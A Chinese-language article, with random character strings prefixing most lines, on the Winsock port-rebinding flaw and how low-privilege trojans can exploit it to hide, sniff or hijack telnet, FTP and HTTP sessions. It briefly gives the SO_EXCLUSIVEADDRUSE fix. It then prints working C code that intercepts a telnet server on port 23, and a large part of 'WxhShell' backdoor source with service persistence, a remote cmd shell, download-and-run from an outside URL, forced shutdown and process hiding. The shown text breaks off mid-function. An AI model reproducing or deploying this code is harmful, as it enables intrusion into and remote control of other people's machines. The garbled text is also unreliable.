在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>@Vr'kg+V s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
htrj3$q(4 xy3%z saddr.sin_family = AF_INET;
b{>dOI*.} 7<o;3gR7Kj saddr.sin_addr.s_addr = htonl(INADDR_ANY);
fO(S+} <slq1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
A":b_!sW >D4Ez 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
6jo&i B]F7t4Y! 这意味着什么?意味着可以进行如下的攻击:
"I FGW4FnL $cU/Im`
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
R,+(JgJ Byj~\QMD| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-?1J+}? iPO
S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
y+afUJT /(pChY> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
BIf].RY j$oZIV7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
emPm^M5/K 7O^ S.( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Bic {
H 8vW`E_n 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
0%NI-
Zyo VDY1F_Fk #include
)_K@ ?rWS #include
!QS<;)N@ #include
'\\Cpc_g #include
PuCA
@qY DWORD WINAPI ClientThread(LPVOID lpParam);
8~#Q * int main()
mxA )r5sx {
<XrGr5=BV WORD wVersionRequested;
x.Ml~W[ DWORD ret;
p=gUcO8 WSADATA wsaData;
#zs\Z]3# BOOL val;
l8Qi^<i/ SOCKADDR_IN saddr;
Y<fXuj|& SOCKADDR_IN scaddr;
g"?D>}@= int err;
|UO;StF SOCKET s;
lFY8^#@ SOCKET sc;
A'(F%0NF6 int caddsize;
iRHQRdij HANDLE mt;
R_n-&d'PP DWORD tid;
[V0 h9! wVersionRequested = MAKEWORD( 2, 2 );
%pQ o%<d err = WSAStartup( wVersionRequested, &wsaData );
2<@!m@ if ( err != 0 ) {
695ppiKU printf("error!WSAStartup failed!\n");
nW'x#0- return -1;
_ u2 }
S]/+n> saddr.sin_family = AF_INET;
D07u? *S_Iza #&x //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
y<d#sv(s Asu"#sd saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Lo9?,^S saddr.sin_port = htons(23);
Vnb#N4vR if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3[Iw%% q {
)6+W6: printf("error!socket failed!\n");
AI; =k return -1;
F
&}V65 }
~U+'3.Wo val = TRUE;
0|;=mYa4M //SO_REUSEADDR选项就是可以实现端口重绑定的
rNyK*Wjt if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
MV\zwH {
TLgVuY printf("error!setsockopt failed!\n");
p
n>`v return -1;
R,1 ,4XT }
^0-=(JrC //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pk1M.+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
hiHp@"l< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?='9YM G3?z.5,Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
V1A3l{>L {
-#x\ E%v.F ret=GetLastError();
.y+U7"?s* printf("error!bind failed!\n");
),,vu return -1;
5-^twXC& }
+KNr1rG listen(s,2);
j3&*wU_ while(1)
Q4q#/z {
?9TogW>W caddsize = sizeof(scaddr);
'VEpVo/ //接受连接请求
{hz:[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
o7zfD94I if(sc!=INVALID_SOCKET)
qr6jn14.c {
( mlc']F mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
UXHFti/A< if(mt==NULL)
@1@WB]mQQ {
tO3 ;;% printf("Thread Creat Failed!\n");
063;D+ break;
e,8-P-h~T }
C<>.*wlp= }
`f]O CloseHandle(mt);
CI{x/ e^( }
%A3Jd4DH closesocket(s);
9#!tzDOtD WSACleanup();
nT"z(\i.!J return 0;
{+Yo&F}n }
Dy!fwYPA/{ DWORD WINAPI ClientThread(LPVOID lpParam)
,RQ-w2j? {
>B7OTGw SOCKET ss = (SOCKET)lpParam;
]XU#i#;c SOCKET sc;
(xL=X%6a unsigned char buf[4096];
N{g=Pf?I} SOCKADDR_IN saddr;
zhE7+``g long num;
{IWb:p#I] DWORD val;
J~.kb k DWORD ret;
qa6~N3* //如果是隐藏端口应用的话,可以在此处加一些判断
f6nltZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6! 'Xo:p saddr.sin_family = AF_INET;
fZ$2bI= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
E"=$p$k saddr.sin_port = htons(23);
_8
J(;7 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}q9f,mz {
<lR8MqjM_ printf("error!socket failed!\n");
Hr$5B2' return -1;
.U_=LV]C }
d%bL_I) val = 100;
tO7{g if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
x]Ef}g {
`2B+8,{% ret = GetLastError();
BxF return -1;
4a-wGx#h }
.Ko`DH~!,C if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"Q1hP9xV {
s3J$+1M> ret = GetLastError();
vaL-Mi(_ return -1;
z@~rm9d }
)f
Rh^6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
5S LF1u; {
zlE kP @) printf("error!socket connect failed!\n");
d@hJ=-4 closesocket(sc);
16vfIUtb closesocket(ss);
f$|v return -1;
xh0!H|
R }
STe;Sr&p while(1)
AI2CfH#:C {
V 6F,X`7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
TL>e[PBO //如果是嗅探内容的话,可以再此处进行内容分析和记录
_qV_(TpS+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
V QI7lJV" num = recv(ss,buf,4096,0);
;G$FLL1 if(num>0)
yrw!b\ send(sc,buf,num,0);
fJuJ#MX{: else if(num==0)
JFfx9%Fq break;
lxZXz JkqZ num = recv(sc,buf,4096,0);
dIm m}, if(num>0)
#7{a~-S send(ss,buf,num,0);
w]_a0{Uh else if(num==0)
JS9q'd break;
8CCA/6 }
O);V{1P closesocket(ss);
S:gP\Atf> closesocket(sc);
# V+e return 0 ;
* 7CI q }
8Ex0[e bTj,5,8i k.%F!sK ==========================================================
m`Z4#_s2 @y +Wl*: 下边附上一个代码,,WXhSHELL
qcqf9g 2.yzR DfZ ==========================================================
A!c.P2 8QU`SoS9 #include "stdafx.h"
EOL03N ~0L>l J #include <stdio.h>
E%TvGe;# #include <string.h>
b> |oU #include <windows.h>
-Db( #include <winsock2.h>
g(1'i 1 #include <winsvc.h>
c c:xT0Y #include <urlmon.h>
~1p
f ? Z,*VRuA #pragma comment (lib, "Ws2_32.lib")
\2Yh I0skW #pragma comment (lib, "urlmon.lib")
lG2){){j "='|c-x #define MAX_USER 100 // 最大客户端连接数
wjkN%lPfvj #define BUF_SOCK 200 // sock buffer
&3rh{" ^9 #define KEY_BUFF 255 // 输入 buffer
?pFHpz 52oR^| #define REBOOT 0 // 重启
<iMLM<J<w #define SHUTDOWN 1 // 关机
.fgoEB,( Gv`PCA@/d #define DEF_PORT 5000 // 监听端口
fI6F};I5}T *N7\d9y #define REG_LEN 16 // 注册表键长度
6 `'^$wKs #define SVC_LEN 80 // NT服务名长度
di"*K*~y [X|P(&\hQd // 从dll定义API
\-^3Pe, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
OA+W$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
k,2%%m typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8 _>R 'u[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*fE5Z;!} *{uu_O // wxhshell配置信息
)[A}h'J) struct WSCFG {
+ EM '- int ws_port; // 监听端口
7Ev~yY;N char ws_passstr[REG_LEN]; // 口令
jk~<si int ws_autoins; // 安装标记, 1=yes 0=no
Q9(
eH2= char ws_regname[REG_LEN]; // 注册表键名
m#uutomi0 char ws_svcname[REG_LEN]; // 服务名
9rhz#w char ws_svcdisp[SVC_LEN]; // 服务显示名
bp }~{]:b char ws_svcdesc[SVC_LEN]; // 服务描述信息
$lvpBs char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~`y6YIJ3 int ws_downexe; // 下载执行标记, 1=yes 0=no
B|!Re4`0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
d6uL;eR char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)9}z^+TH }RXm=ArN };
dme_Ivt
*h`zV<j // default Wxhshell configuration
m$]?Jq struct WSCFG wscfg={DEF_PORT,
ZW2U9 "xuhuanlingzhe",
ur;8uv2o 1,
&Oe,$%{hBh "Wxhshell",
1&U U6| X "Wxhshell",
VQ+Xh "WxhShell Service",
%.]qkGZe# "Wrsky Windows CmdShell Service",
~GZ(Ou-& "Please Input Your Password: ",
=h4XsV)rO 1,
&",pPuq "
http://www.wrsky.com/wxhshell.exe",
OfPWqNpO "Wxhshell.exe"
%GJ,&b| };
?]:3`;h3 By"
=]|Q // 消息定义模块
}_K7}] 1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
JD.WH|sZ5 char *msg_ws_prompt="\n\r? for help\n\r#>";
Kpg]b"9.R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|@Bl?Bs+ char *msg_ws_ext="\n\rExit.";
(%tKGeb char *msg_ws_end="\n\rQuit.";
vFQ'sd]C char *msg_ws_boot="\n\rReboot...";
1D 6iJ char *msg_ws_poff="\n\rShutdown...";
u\50,N9Wp{ char *msg_ws_down="\n\rSave to ";
YI|7a#*F 9\V^q9l char *msg_ws_err="\n\rErr!";
1%H]2@ char *msg_ws_ok="\n\rOK!";
8!1vsEqv 4jvgyi9
char ExeFile[MAX_PATH];
M5wj79'l" int nUser = 0;
`C,47 9~J HANDLE handles[MAX_USER];
#5F\zeo@F? int OsIsNt;
h&&ufF]D $Die~rPU SERVICE_STATUS serviceStatus;
O.}{s; SERVICE_STATUS_HANDLE hServiceStatusHandle;
d&F8nBIM5 ~i(X{^,3 // 函数声明
k5(@n>p int Install(void);
TC'tui int Uninstall(void);
Po% V%~ int DownloadFile(char *sURL, SOCKET wsh);
_L9`bzZj
int Boot(int flag);
Ue!
&Vm void HideProc(void);
t;{/Q&C int GetOsVer(void);
9|fg\C int Wxhshell(SOCKET wsl);
.^ soX} void TalkWithClient(void *cs);
5EM(3eY ^q int CmdShell(SOCKET sock);
s~,Y po? int StartFromService(void);
K%.\@l2Cp int StartWxhshell(LPSTR lpCmdLine);
=j6f/8 Dr&2qX! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@a+1Ri`) VOID WINAPI NTServiceHandler( DWORD fdwControl );
+g%kr~w= I6~.sTl // 数据结构和表定义
}! x\qpA SERVICE_TABLE_ENTRY DispatchTable[] =
z.--"cF {
h49|x&03 {wscfg.ws_svcname, NTServiceMain},
n)gzHch {NULL, NULL}
) m[0, };
-b8Vz}Y ckS.j)@.c // 自我安装
-m3O\X int Install(void)
wUv
Zc {
;~3CuN8 char svExeFile[MAX_PATH];
,!Gw40t HKEY key;
abp]qvCV strcpy(svExeFile,ExeFile);
CtfI&rb[ Ru`&>E // 如果是win9x系统,修改注册表设为自启动
>:WnCkbp if(!OsIsNt) {
ycTX\.KV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
> X<pzD3u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rLtB^?A z RegCloseKey(key);
wknX\,`Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S{&,I2aO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`{#0C- RegCloseKey(key);
zuwlVn return 0;
vvwNJyU- }
)%I2#Q"Nt- }
}KcvNK ( }
\9N1: else {
yHsmX2s ,3 =|a|p // 如果是NT以上系统,安装为系统服务
INZsDM 9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
A\X?Aq-^' if (schSCManager!=0)
:XqqhG {
/_rEI,[k SC_HANDLE schService = CreateService
]c4?-Vq%u (
Dk[m)]w\ schSCManager,
9!&fak_ wscfg.ws_svcname,
Gm~jC < wscfg.ws_svcdisp,
ErnjIx: SERVICE_ALL_ACCESS,
L)p*D( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
kZ~ 0fw- SERVICE_AUTO_START,
<b!nI
N SERVICE_ERROR_NORMAL,
',$Uw|N svExeFile,
-PPH]?], NULL,
t"4RGO)jh NULL,
c6 VfFt6p NULL,
V(u#8M NULL,
*:L-/Q)i NULL
Q]?r&%Y );
;6P#V`u if (schService!=0)
,T&=*q {
OeLM*Zi CloseServiceHandle(schService);
,rc?,J1l CloseServiceHandle(schSCManager);
o."k7fLB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
84 5a%A$ strcat(svExeFile,wscfg.ws_svcname);
kV9S+ME if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
:p%G+q2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Y>W$n9d&G2 RegCloseKey(key);
8`~M$5! return 0;
Jas=D }
P@lDhzd }
u_ou,RF CloseServiceHandle(schSCManager);
)IQ5Qu }
bS7rG$n [ }
>ka*-8? ~QzUQYG* return 1;
qRi;[` }
jd ]$U_U( J'{69<`Dl // 自我卸载
0se0AcrW int Uninstall(void)
x\0(l5> {
{EU?{# HKEY key;
zB/#[~ ,t?c=u\5 if(!OsIsNt) {
Zcst$Aro if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=ie8{j2: RegDeleteValue(key,wscfg.ws_regname);
Lxz!>JO> RegCloseKey(key);
qTxw5.Ai! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cC@.& RegDeleteValue(key,wscfg.ws_regname);
0oR'"Vo RegCloseKey(key);
A)v!
{ return 0;
IDCuS }
}Rl^7h<! }
F9h'.{@d }
J5Pi"U$FkY else {
^jY/w>UdH FVY$A=G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
b~$B0o) if (schSCManager!=0)
$r> $
u {
Qg9*mlm` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3%HF" $Gg if (schService!=0)
n@1;5)&k~ {
q-?
k=RX` if(DeleteService(schService)!=0) {
4sJM!9eb[ CloseServiceHandle(schService);
10.u CloseServiceHandle(schSCManager);
}enS'Fpf` return 0;
JdYmUM|K/c }
B8=r^!jEL CloseServiceHandle(schService);
n{Ce%gy }
uO]^vP]fT CloseServiceHandle(schSCManager);
4S9hz }
8&K1;l } }
ahJ-T@ TTGk"2
Q' return 1;
"Sx}7?8AB }
pk>p|q sWtT"7>x // 从指定url下载文件
q!fdiv` int DownloadFile(char *sURL, SOCKET wsh)
1VXyn\ {
+,8j]<wpo HRESULT hr;
b\
P6,s'( char seps[]= "/";
FR57F(31 char *token;
NCu:E{([ char *file;
cpY'::5.% char myURL[MAX_PATH];
0XgJCvMcB char myFILE[MAX_PATH];
+O]jklS4H J~jxmh strcpy(myURL,sURL);
322)r$!" token=strtok(myURL,seps);
N"',
while(token!=NULL)
nO;*Peob {
O\~/J/u
< file=token;
_R/^P>Q? token=strtok(NULL,seps);
D6Q6yNE }
5>S=f{ghFw ng0tNifZ; GetCurrentDirectory(MAX_PATH,myFILE);
pYxdE|2j strcat(myFILE, "\\");
76'@}wNnw strcat(myFILE, file);
V?[dg^*0 send(wsh,myFILE,strlen(myFILE),0);
aB$xQ|~ send(wsh,"...",3,0);
mKTa. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
PQ0l <]Y if(hr==S_OK)
,V`zW<8 return 0;
[<0\v<{`L else
\N|ma P return 1;
#.j[iN
:+ JXhHitUD }
(7zdbJX 1J{1>r // 系统电源模块
?^X
e^1( int Boot(int flag)
^i;y2c {
ezz;NH HANDLE hToken;
b'5]o TOKEN_PRIVILEGES tkp;
dRhsnT+KX 7>@g)%", if(OsIsNt) {
H
Z)an OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_x'?igy LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
U@'F9UB` tkp.PrivilegeCount = 1;
3oo Tn-`{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Id(wY$C&> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
HNMVs]/e if(flag==REBOOT) {
s.uw,x if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0b3z(x!O return 0;
7,v}Ap]Pa }
e5z U`R else {
B*
hW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
I
k[{,p return 0;
RJ63"F $ }
[(81-j1v }
gK%^}xU+
else {
!et[Rdbu if(flag==REBOOT) {
qX_(
M2oLU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<H]1 6 return 0;
+G.F' }
RZL:k;}5 else {
GEd JB= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
e/J|wM9Ak return 0;
x$gVEh*k }
lFZ}. }
6xC$R q j34L*? return 1;
\v,mr| }
%=PGvu "TQ3{=j{ // win9x进程隐藏模块
T+knd'2V6 void HideProc(void)
[BLBxSL {
]+)cXJ}6# 4UV6'X)V HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S!J wF&EW if ( hKernel != NULL )
uK!G-1
{
y5!fbmf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
3[ T<pAZ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
jn:9Cr,o;g FreeLibrary(hKernel);
J|gRG0O9Ya }
}$wWX}@ ==^9_a^ return;
[m+):q^ }
QKAt%"1& ?*K{1Ghf // 获取操作系统版本
4\rw JD< int GetOsVer(void)
M#'j7EMu {
9~lC/I')t OSVERSIONINFO winfo;
m.':5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
uB*Y}"Fn GetVersionEx(&winfo);
),%(A~\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
-0G/a&ss return 1;
$KAOJc4< else
0^G5 zQlj return 0;
-V\$oVS0S }
JsY|Fv !o{>[ // 客户端句柄模块
]A]EED.ZH int Wxhshell(SOCKET wsl)
g=q1@ ) {
]$=\zL SOCKET wsh;
g q`S` struct sockaddr_in client;
ka UEv\T DWORD myID;
&40# _>W7 %@Ow.7zh while(nUser<MAX_USER)
+T,Yf/^Fn {
.kT}E5 int nSize=sizeof(client);
5p]Cwj<u wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9irT}e if(wsh==INVALID_SOCKET) return 1;
%j7HIxZh jVxX! V handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
BK/~2u if(handles[nUser]==0)
f?[0I\V[$ closesocket(wsh);
J6s@}@R1 else
ZPO+ #, nUser++;
$eQf 5)5 }
ynQ+yW74Z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
83[gV@LW0m :@=;WB*0 return 0;
O3];1ud }
1Bl;.8he.) u}~j NV // 关闭 socket
k&M9Hn2 void CloseIt(SOCKET wsh)
_=*ph0nu {
O_bgrXg6x closesocket(wsh);
Dqz9NB nUser--;
*F)+- BB ExitThread(0);
eCfy'US;@3 }
iI
4XM>`a ^h^\kW'# // 客户端请求句柄
FQp@/H^ void TalkWithClient(void *cs)
7JL*y\' {
~bsL
W:.' CA8N SOCKET wsh=(SOCKET)cs;
S`?L\R.: char pwd[SVC_LEN];
m_;<7W&p] char cmd[KEY_BUFF];
|u5Xi5q.f char chr[1];
K H&o`U(} int i,j;
Ak=|wY{ 5U[bn=n while (nUser < MAX_USER) {
FcI ZG _ Of?3|I3 l if(wscfg.ws_passstr) {
zh60b{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=E~)svl6g //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k'b'Ay(< //ZeroMemory(pwd,KEY_BUFF);
|tua*zEsS i=0;
Z}NMDb:t
while(i<SVC_LEN) {
[/'=M h '|~L9t // 设置超时
7!r)[2l fd_set FdRead;
Ph Ep3o&" struct timeval TimeOut;
HgfeSH FD_ZERO(&FdRead);
zmdu\:_X9 FD_SET(wsh,&FdRead);
_G1C5nkDl4 TimeOut.tv_sec=8;
sY*iRq TimeOut.tv_usec=0;
iF!r}fUU6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
tIJ?caX5= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=,WW#tD =xX)2h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
GL-r;
pwd
=chr[0]; eT<T[; m
if(chr[0]==0xd || chr[0]==0xa) { lemE/(`a_
pwd=0; BH+@!H3hf
break; g2t'u4>
} @5Zg![G
i++; U)B^R
} JS{trqc1d
= U)e_q
// 如果是非法用户,关闭 socket 5$;#=WAY
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NJ ];Ck
} f.X<Mo
e/*T,ZJ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8 "5^mj
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B+Ox#[<75
C_q@ixF{
while(1) { B4d\4S_r%
NL7CeHs5
ZeroMemory(cmd,KEY_BUFF); _Vl22'wl
WY3D.z-</
// 自动支持客户端 telnet标准 yWkg4
j=0; mO|YX/>
while(j<KEY_BUFF) { p%?m|(4f
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); co-dq\P
cmd[j]=chr[0]; J=@D]I*3
if(chr[0]==0xa || chr[0]==0xd) { ']cRSj.
cmd[j]=0; ;(1Xb
break; ,rZp(moj
} "T+oXK\B
j++; o1B8_$aYgc
} R-\a3q
FvTc{"w /
// 下载文件
W!.vP~ >
if(strstr(cmd,"http://")) { x.ZW%P1
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $lYy `OuC
if(DownloadFile(cmd,wsh)) qo^PS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @}[yC['
else {!G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kl/eJN'S
} Z#nPn>,q
else { [(65^Zl`
zv>3Tc0R
switch(cmd[0]) { :
#om6}
{@tqeu%IM
// 帮助 2$OI(7b=
case '?': { d=~-8]%\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?^l{t4
break; rm"C|T4:V
} o{n)w6P{R,
// 安装 L2GUrf
case 'i': { ln~;Osb
if(Install()) M}cgVMW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5:r*em
else "jFRGgd79
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g$P <`.
break; <!m'xOD
} E]<Ce;Vj
// 卸载 l%^VBv>
2
case 'r': { Q(gc(bJV
if(Uninstall()) S]#xG+$<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); oMNgyAp^
else +?I1Og
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { t1|6R0
break; dY6A)[dAH'
} ^S]-7>Yyr
// 显示 wxhshell 所在路径 hnf7Q l}
case 'p': { _pZaVx
char svExeFile[MAX_PATH]; /j|Rz5@=
strcpy(svExeFile,"\n\r"); Za4X
;
strcat(svExeFile,ExeFile); iT;~0XU7F
send(wsh,svExeFile,strlen(svExeFile),0); [@RJ2q$
break; N~/D| ?P~2
} NrTK+6 z
// 重启 e_iXR#bZc
case 'b': { yi-S^
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =:~%$5[[
if(Boot(REBOOT)) }g@5%DI]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %%-hax.x0X
else { pD)$O}
closesocket(wsh); ESQgN+llj
ExitThread(0); V_.n G;
} <R%]9#re
break; |5(<
Vk=
} 'tRaF
// 关机 {TV6eV
case 'd': { s2'] "wM
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &t0toEj
if(Boot(SHUTDOWN)) } eL*gy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _U%fD|t
else { :j=/>d],%
closesocket(wsh); /`)>W :
ExitThread(0); 'i5V6yB
} #4Z]/D2G
break; !~Am1\02
} qwz_.=5E6
// 获取shell K;fRDE){
case 's': { UCv9G/$
CmdShell(wsh); XX@@tzN
closesocket(wsh); EoOB0zo}Y+
ExitThread(0); `fA|])3T
break; icnc5G
} vxmz3ht,Q
// 退出 OB&lq.r
case 'x': { \4B2%H
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /'S@iq
CloseIt(wsh); n,.ZLuBEX
break; 4Em$L]7
} liuF;*
// 离开 EP;TfWc}1
case 'q': { B
>
sTM
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?cF-w!>o8
closesocket(wsh); |x[zzx#
>-
WSACleanup(); 5m e|dvk
exit(1); 4jyDM68i
break; uBPxMwohR
} l-GQ AI8
} @aX$}
} ~SWR|[
^I4/{,Ev
// 提示信息 %I&[:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;g
M$%!&
} BRu/pyxG
} mF|7:zSo
[nBdq"K
return; ^{vf|zZ _
} /<\B8^yQ
tCw.wDq3=
// shell模块句柄 6N^sUc0s
int CmdShell(SOCKET sock) Gxj3/&]^Y
{ $G_,$U!
STARTUPINFO si; HalkNR-eEm
ZeroMemory(&si,sizeof(si)); ?[|T"bE5[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +/L "A
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qq)Dh'5*e,
PROCESS_INFORMATION ProcessInfo; j|N8"8"
char cmdline[]="cmd"; z
g '1T2t
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tBZ&h`
V
return 0; tmCm54
} ~|7jz;$V
99<0xN(25
// 自身启动模式 m)]A$*`<
int StartFromService(void) ~BSE8M+r
{ w=r3QKm#K
typedef struct lQnl6j
{ cjd Z.jR2
DWORD ExitStatus; ylEQeN
DWORD PebBaseAddress; BgzER[g|q{
DWORD AffinityMask; v@6TC 1M,
DWORD BasePriority; C9`J6Uu
ULONG UniqueProcessId; @y#QHJ.j
